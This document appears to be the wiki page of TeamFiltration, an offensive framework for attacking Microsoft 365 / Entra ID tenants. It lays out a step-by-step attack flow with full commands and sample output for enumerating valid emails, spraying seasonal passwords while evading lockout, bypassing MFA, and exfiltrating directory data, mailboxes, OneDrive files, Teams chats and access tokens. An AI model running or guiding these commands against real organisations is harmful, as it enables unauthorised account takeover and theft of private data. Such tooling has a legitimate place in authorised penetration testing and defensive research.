Skip to content
Flangvik edited this page Mar 8, 2026 · 7 revisions

TeamFiltration is a cross-platform framework for enumerating, spraying, exfiltrating, and backdooring O365 Entra ID (formerly AAD) accounts. TeamFiltration, much like CrackMapExec, creates and maintains an on-disk database with information to keep track of past and ongoing operations. The database is built using LiteDB and can be browsed manually on-disk using their open source LiteDB Studio Windows tool.

Information such as valid user accounts, previously attempted username and password combinations, valid username and password combinations, retrieved access tokens, and much more. This information is kept not only for later access and an easier reporting process, but also to avoid account lockouts and unnecessary login attempts.

PickMe

This also creates a typical usage flow, much in line with how password spraying attacks are usually performed. Starting with enumeration (OSINT), moving on to user validation, password spraying, and ending with post-exploitation activities such as data exfiltration.

Picture1

Quick Start Guide

In order to use the enumeration and spraying modules within TeamFiltration, you will need to provide a JSON config file. The exfiltration module can be used standalone without said config file. This configuration file contains information such as Pushover API keys, Dehashed API keys, and more.

If you hate reading, check out my YouTube series on how to get started as well: Attacking O365 with TeamFiltration Part 1 - Getting started

Creating your JSON config file

Definitions for each of the JSON properties can be found further down. All JSON properties must be present in the config, but not all require actual values.

{
    "pushoverAppKey": "",
    "pushoverUserKey": "",
    "dehashedEmail": "",
    "dehashedApiKey": "",
    "sacrificialO365Username": "sacrificial@domain.org",
    "sacrificialO365Passwords": "MySacrificialPassword123!",
    "proxyEndpoint": "http://127.0.0.1:8080",
    "UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0"
}

pushoverAppKey Your Pushover Application Token / API Token (Optional).

pushoverUserKey Your Pushover User Key / User Token (Optional).

dehashedApiKey Your Dehashed API key for auth (Optional).

dehashedEmail Your Dehashed account email for auth (Optional).

sacrificialO365Username The username / email for the sacrificial Office 365 account used for performing enumeration using the Teams API method. (Optional, but the account cannot have MFA / Conditional Access enabled.)

sacrificialO365Passwords The password for the sacrificial Office 365 account used for performing enumeration using the Teams API method. (Optional).

proxyEndpoint HTTP endpoint used for inspecting traffic / debugging purposes, e.g. Burp Suite, mitmproxy. Traffic is only routed through this proxy when --debug is passed.

UserAgent The User-Agent string to use for all HTTP requests made by TeamFiltration. Defaults to a current Edge browser string if not set.

In order to use the --validate-teams enumeration method you need to provide a sacrificial Office 365 user account in the JSON config. This account cannot have MFA enforced and must be joined in Entra ID with a valid Microsoft 365 Business Basic license.

With the configuration file created, you are ready to use TeamFiltration.

TeamFiltration basics

You will always need to provide an --outpath for all modules. This path is where the database will be created and where any information produced from the modules will be stored. This must be a folder path, NOT A FILE. If you specify a folder path that does not exist, it will be created for you. --outpath acts as a localised workspace / project folder.

For all modules except exfiltration (--exfil), you will need to provide your JSON configuration file using --config. The help menu can always be accessed using --help. Below is a typical attack flow intended to give you a practical feel for how TeamFiltration might be used.

Typical Attack Flow

Start by performing recon using Dehashed, LinkedIn, Hunter.io, Google Dorks, etc. When you have figured out what the email syntax for the company is, you are ready to enumerate and validate emails that exist within the target O365 tenant.

Start the enum with the following command, where --domain is your target client domain name:

TeamFiltration.exe --outpath C:\Clients\Example\TFOutput --config myConfig.json --enum --validate-teams --domain legitcorp.net

TeamFiltration will prompt you to choose the enumerated email syntax. This will pull different emails and syntaxes from the statistically likely usernames repo. Once you select a syntax, TeamFiltration will use its passive and unsaturated Teams method to validate them (hence the --validate-teams argument).

[♥] TeamFiltration VX.X.X, created by @Flangvik
[+] Args parsed --outpath F:\Clients\Example\TFOutput --config myConfig.json --enum --validate-teams --domain legitcorp.net
[+] No usernames list provided, pulling statistically-likely-usernames
[?] Provide a target domain/tenant (e.g legitcorp.net) #> legitcorp.net
    |=> [1] john.smith@legitcorp.net
    |=> [2] john@legitcorp.net
    |=> [3] johnjs@legitcorp.net
    |=> [4] johns@legitcorp.net
    |=> [5] johnsmith@legitcorp.net
    |=> [6] jsmith@legitcorp.net
    |=> [7] smith@legitcorp.net
    |=> [8] smithj@legitcorp.net
    |=> [9] john_smith@legitcorp.net

[?] Select an email format #> 1

If you would like to supply your own list of emails to validate, simply use the --usernames argument. The argument expects a file with full emails separated by newlines. Validated emails get stored automatically in the TeamFiltration.db file located in the --outpath folder. This way, there is no need to supply data manually through each module.

[ENUM] 24.05.2021 12:31:05 EST Filtering out previously attempted accounts
[ENUM] 24.05.2021 12:31:06 EST Enumerating 248231 possible accounts, this will take ~14 minutes
[ENUM] 24.05.2021 12:31:07 EST Successfully got Teams token for sacrificial account
[ENUM] 24.05.2021 12:31:07 EST Loaded 248231 usernames
[ENUM] 24.05.2021 12:31:08 EST enita.lintz@legitcorp.net valid!
[ENUM] 24.05.2021 12:31:09 EST bruce.wayne@legitcorp.net valid!
[ENUM] 24.05.2021 12:31:13 EST herminia.oliva@legitcorp.net valid!
[ENUM] 24.05.2021 12:31:13 EST thomas.anderson@legitcorp.net valid!
[ENUM] 24.05.2021 12:31:17 EST sharilyn.penning@legitcorp.net valid!

Next up we will spray the validated emails:

TeamFiltration.exe --outpath C:\Clients\Example\TFOutput --config myConfig.json --spray --sleep-min 120 --sleep-max 200

When no password list is provided, TeamFiltration will generate its own based on the Month, Season, and year. You can also choose to generate either of them specifically using --seasons-only, --months-only, or --common-only. If you would like to supply your own password list, simply use the --passwords argument.

[♥] TeamFiltration VX.X.X, created by @Flangvik
[+] Args parsed --outpath F:\Clients\Example\TFOutput --config myConfig.json --spray --sleep-min 120 --sleep-max 200
[SPRAY] 24.05.2021 12:33:54 EST Sleeping between 120-200 minutes for each round
[SPRAY] 24.05.2021 12:33:55 EST Sprayed renita.lintz@legitcorp.net:Spring2021!          => INVALID
[SPRAY] 24.05.2021 12:33:55 EST Sprayed bruce.wayne@legitcorp.net:Spring2021!           => INVALID
[SPRAY] 24.05.2021 12:33:57 EST Sprayed herminia.oliva@legitcorp.net:Spring2021!        => INVALID
[SPRAY] 24.05.2021 12:33:57 EST Sprayed biff.tannen@legitcorp.net:Spring2021!           => INVALID
[SPRAY] 24.05.2021 12:33:58 EST Sprayed elijah.blakley@legitcorp.net:Spring2021!        => INVALID
[SPRAY] 24.05.2021 12:33:58 EST Sprayed thomas.anderson@legitcorp.net:Spring2021!       => VALID NO MFA!
[SPRAY] 24.05.2021 12:33:59 EST Sprayed chris.kelly@legitcorp.net:Spring2021!           => INVALID
[SPRAY] 24.05.2021 12:34:00 EST Sprayed sharilyn.penning@legitcorp.net:Spring2021!      => INVALID
[SPRAY] 24.05.2021 12:34:01 EST Sleeping 142 minutes before next spray

With a set of valid credentials found, we can move into the exfil module. The valid credentials and account information are stored in the TeamFiltration database, so you do not need to provide them when using the --exfil module.

TeamFiltration.exe --outpath C:\Clients\Example\TFOutput --config myConfig.json --exfil --aad

This will attempt to bypass any MFA, and if successful, exfiltrate information from resources accessible within O365. The --aad (Entra ID) plugin will attempt to exfiltrate all users, groups, and domains from the O365 tenant. All new users will automatically be added to the database as valid users.

[♥] TeamFiltration VX.X.X, created by @Flangvik
[+] Args parsed --outpath F:\Clients\Example\TFOutput --config myConfig.json --exfil --aad
[+] You can select multiple users using syntax 1,2,3 or 1-3
    |-> 0 - thomas.anderson@legitcorp.net
    |-> ALL - Everyone!

[?] What user to target ? #> 0
[EXFIL] 24.05.2021 12:35:43 EST Attempting to exfiltrate using provided token
[EXFIL] 24.05.2021 12:35:44 EST Refreshed a token for => https://outlook.office365.com
[EXFIL] 24.05.2021 12:35:45 EST Refreshed a token for => https://api.spaces.skype.com
[EXFIL] 24.05.2021 12:35:45 EST Cross-resource-refresh allowed, we can exfil all that things!
[EXFIL] 24.05.2021 12:35:53 EST Refreshed a token for => https://graph.windows.net
[EXFIL] 24.05.2021 12:35:54 EST Refreshed a token for => https://graph.microsoft.com
[EXFIL] 24.05.2021 12:35:54 EST Exfiltrating AAD users and groups via MS AD Graph API
[EXFIL] 24.05.2021 12:35:58 EST Exfiltrating AAD users and groups via MS graph API
[EXFIL] 24.05.2021 12:35:59 EST Got 133 AAD users, appending to database as valid users!

With those new valid accounts added, we can go back to the spraying module and successfully hit all the accounts in the domain.

You can also exfiltrate Emails + Attachments, OneDrive files, Teams Chat Logs + Attachments, and raw JWT tokens using different exfil plugins as shown in the --help menu:

         --all                 Exfiltrate information from ALL SSO resources (Graph, OWA, SharePoint, OneDrive, Teams)
         --aad                 Exfiltrate information from Graph API (domain users and groups)
         --teams               Exfiltrate information from Teams API (files, chatlogs, attachments, contactlist)
         --onedrive            Exfiltrate information from OneDrive/SharePoint API (accessible SharePoint files and the users entire OneDrive directory)
         --owa                 Exfiltrate information from the Outlook REST API (The last 2k emails, both sent and received)
               --owa-limit     Set the max amount of emails to exfiltrate, default is 2k.
         --jwt-tokens          Dump all gathered JSON formatted JWT-tokens for SSO resources (MsGraph, AdGraph, Outlook, SharePoint, OneDrive, Teams)

FAQ

  • You cannot run multiple instances of TeamFiltration with the same --outpath. This will cause a LiteDB file write collision!
  • --outpath is mandatory and needs to be supplied for each module
  • --outpath is client-specific across all modules
  • --outpath IS A FOLDER PATH, not a file
  • Question or bug? Hit me up on Twitter or create an issue
  • In order to use the --validate-teams enumeration method you need to provide a sacrificial Office 365 user account. This account cannot have MFA enforced and must be joined in Entra ID with a valid Basic license (sacrificialO365Username and sacrificialO365Passwords in the config file)
  • Use --debug to route all HTTP traffic through the configured proxyEndpoint (useful for inspecting requests in Burp Suite or mitmproxy)

Clone this wiki locally